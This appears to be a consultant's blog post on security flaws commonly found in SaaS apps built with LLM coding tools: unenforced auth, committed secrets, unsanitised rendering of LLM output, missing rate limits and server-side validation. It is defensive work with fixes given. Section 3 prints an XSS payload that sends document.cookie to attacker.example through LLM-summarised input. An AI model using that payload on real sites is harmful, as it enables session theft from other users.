12 May 2026

What an LLM-built SaaS audit actually finds

The recurring failure modes I see when auditing codebases built by LLM coding tools: auth gaps, exposed secrets, missing rate limits, and validation that was never wired up.

AI coding tools have made it genuinely faster to get from idea to working software. A competent non-developer can now ship something that accepts payments, stores user data, and has a reasonable UI in a weekend. That is a real capability change. It is also why I have spent more time in 2024 and 2025 auditing codebases I did not build than I have in any previous period.

This note is a write-up of what I keep finding. The patterns repeat. If you have a product that was built primarily by an LLM coding tool (Cursor, Copilot, v0, Lovable, or similar) and you are thinking about hardening it before you take on real users or process real money, this is what to look for.

I did a version of this for a specific client, which you can read about in the JTX Fitness case study -- though the security audit piece there was a later addition to a longer engagement. The patterns below come from that work and several others.


The five recurring failure modes

1. Authentication that looks complete but is not enforced

LLM-generated auth code tends to be architecturally correct at the happy path and broken at the edges.

The most common form: a route is protected by middleware that checks for a valid session, but a secondary API route that performs the same action was added later and does not share the same middleware chain. The UI only exposes the protected path, so manual testing does not catch it. Automated tooling that enumerates API routes finds it in seconds.

A related pattern: role-based access control is defined in the schema and enforced on read operations, but update or delete operations do not check the role. A user with a read-only role can call the mutation directly.

// What the LLM typically generates -- checks session exists,
// but does not check whether this user owns the resource
export async function DELETE(req: Request, { params }: { params: { id: string } }) {
  const session = await getServerSession(authOptions);
  if (!session) return new Response("Unauthorized", { status: 401 });
 
  // Missing: does session.user.id === resource.ownerId?
  await db.resource.delete({ where: { id: params.id } });
  return new Response(null, { status: 204 });
}

The fix is an ownership check on every mutating operation, not just a session check.

2. Secrets in the wrong places

LLMs are trained on code that uses environment variables for secrets, and they do generate process.env.SECRET_KEY calls. The problem is usually not the code itself but the surrounding files.

Common finds:

  • .env or .env.local committed to git history. The file is in .gitignore now, but it was committed once, and git log --all -p -- .env shows the contents.
  • Secrets hardcoded during an early testing phase and never rotated once they ended up in source, even if they were removed from the current file.
  • API keys embedded in client-side bundles because the LLM generated a frontend API call that should have been a server-side proxy.
# A quick sweep before any other audit work
git log --all -p -- .env* | grep -E "(KEY|SECRET|PASSWORD|TOKEN)="
git log --all -p -- config/ | grep -E "(KEY|SECRET|PASSWORD|TOKEN)="

If any secrets show up in that output, rotation is not optional. The git history is public if the repo is public, and it persists on any clone even after the file is removed from the tree.

3. Prompt injection as a XSS vector

This one is specific to products that pass user-controlled input to an LLM and then render the output. The LLM generates the instruction-following wrapper correctly, but the output rendering uses innerHTML or equivalent without sanitisation.

A user submits something like:

Please summarise this: <img src=x onerror="fetch('https://attacker.example/'+document.cookie)">

The LLM may paraphrase it, reformat it, or pass it through with light rewording. If the rendered output is not sanitised, the script runs in the next user's browser who views the summary.

The failure mode is not in the AI plumbing; it is in treating LLM output as trusted HTML. It is not. Sanitise it the same way you would sanitise any user-generated content: a library like DOMPurify on the client or a server-side equivalent, not a custom regex.

4. Rate limiting that was not wired up

LLM-generated Express and Next.js code often includes a rate limiting library in package.json and a comment in the middleware file that says something like // TODO: configure rate limiting. It is not hooked up.

For endpoints that trigger outbound API calls (LLM calls, email sends, payment initiations), missing rate limits mean a motivated person can exhaust your monthly budget in an afternoon. For authentication endpoints, missing rate limits mean a credential-stuffing attack has no friction.

The implementation is usually a few lines, but it requires knowing which routes to protect and what the sensible limits are for each. A single global limit is better than nothing; per-route limits tuned to expected usage are better.

// next.config.ts is not the right place -- this belongs in middleware.ts
// or as a per-route wrapper, depending on your framework version
import { Ratelimit } from "@upstash/ratelimit";
import { Redis } from "@upstash/redis";
 
const ratelimit = new Ratelimit({
  redis: Redis.fromEnv(),
  limiter: Ratelimit.slidingWindow(10, "60 s"),
});
 
// Then in your route handler:
const { success } = await ratelimit.limit(ip);
if (!success) return new Response("Too many requests", { status: 429 });

The specifics vary by stack, but the principle is constant: anything that costs money or modifies data needs a rate limit.

5. Validation at the UI layer only

Form validation in LLM-generated code is thorough on the client and absent on the server. The UI will reject an invalid email address, enforce a minimum password length, and refuse a negative number in a price field. The API route that the form submits to does not validate any of it.

This matters because the API route is not only accessible from your UI. Anyone can send a POST request with arbitrary body content. If the API does not validate, bad data reaches your database or your downstream services.

// The LLM-generated API route
export async function POST(req: Request) {
  const body = await req.json();
  // body.email, body.price, body.quantity -- none of these are validated
  // They go straight to the database call
  await db.order.create({ data: body });
}

The fix is server-side validation using the same schema that drives the UI validation. Zod is the most common choice in TypeScript codebases and works well. If you are already using Zod for your TypeScript types, the validation schema should be a shared module, not a separate definition.


Why these patterns cluster in LLM-built code

None of these are new vulnerabilities. They have existed for as long as people have built web applications. The reason they cluster in LLM-generated codebases is not that LLMs are uniquely bad at security; it is that LLMs optimise for code that works at demonstration time.

A demo works when the happy path succeeds. Auth looks right because the protected route rejects unauthenticated requests. Validation looks right because the UI rejects bad input. The failure modes live in paths that are never exercised during normal development: a second route added to support a feature, a mutation that was not in scope when the middleware was written, an API called from a test harness rather than the UI.

This is also a factor of how LLM tools are typically used. A developer (or a non-developer) iterates quickly, accepts suggestions, and ships. The code review step that would catch a missing ownership check or a non-sanitised render is skipped because there is no pull request, no reviewer, and sometimes no second set of eyes at all.


What an audit actually looks like

An audit of an LLM-built SaaS product is not dramatically different from an audit of a human-built one. The scope is:

  1. Static analysis. Read the code. Look for the patterns above. Note every place user-controlled input enters the system and trace where it goes.
  2. Dependency review. Run npm audit or equivalent. LLM-generated projects often have outdated dependencies because the model was trained on older lockfiles, or because the project was initialised once and never updated.
  3. Secret scanning. The git history sweep above, plus any config files that might have been committed with credentials.
  4. Manual route testing. Send requests directly to API routes, not via the UI. Check whether auth is enforced, whether you can access other users' data by changing an ID in the URL, whether mutations accept unexpected input.
  5. Rate limit testing. Send 50 requests to the auth endpoint and the payment initiation endpoint and see what happens.

For most small SaaS products I see, a focused day of this work surfaces the meaningful issues. The fixes are usually straightforward once you know where they are. The harder part is knowing what to look for, which is what this note is for.

If you want a second pair of eyes on a codebase before you take on real users, get in touch.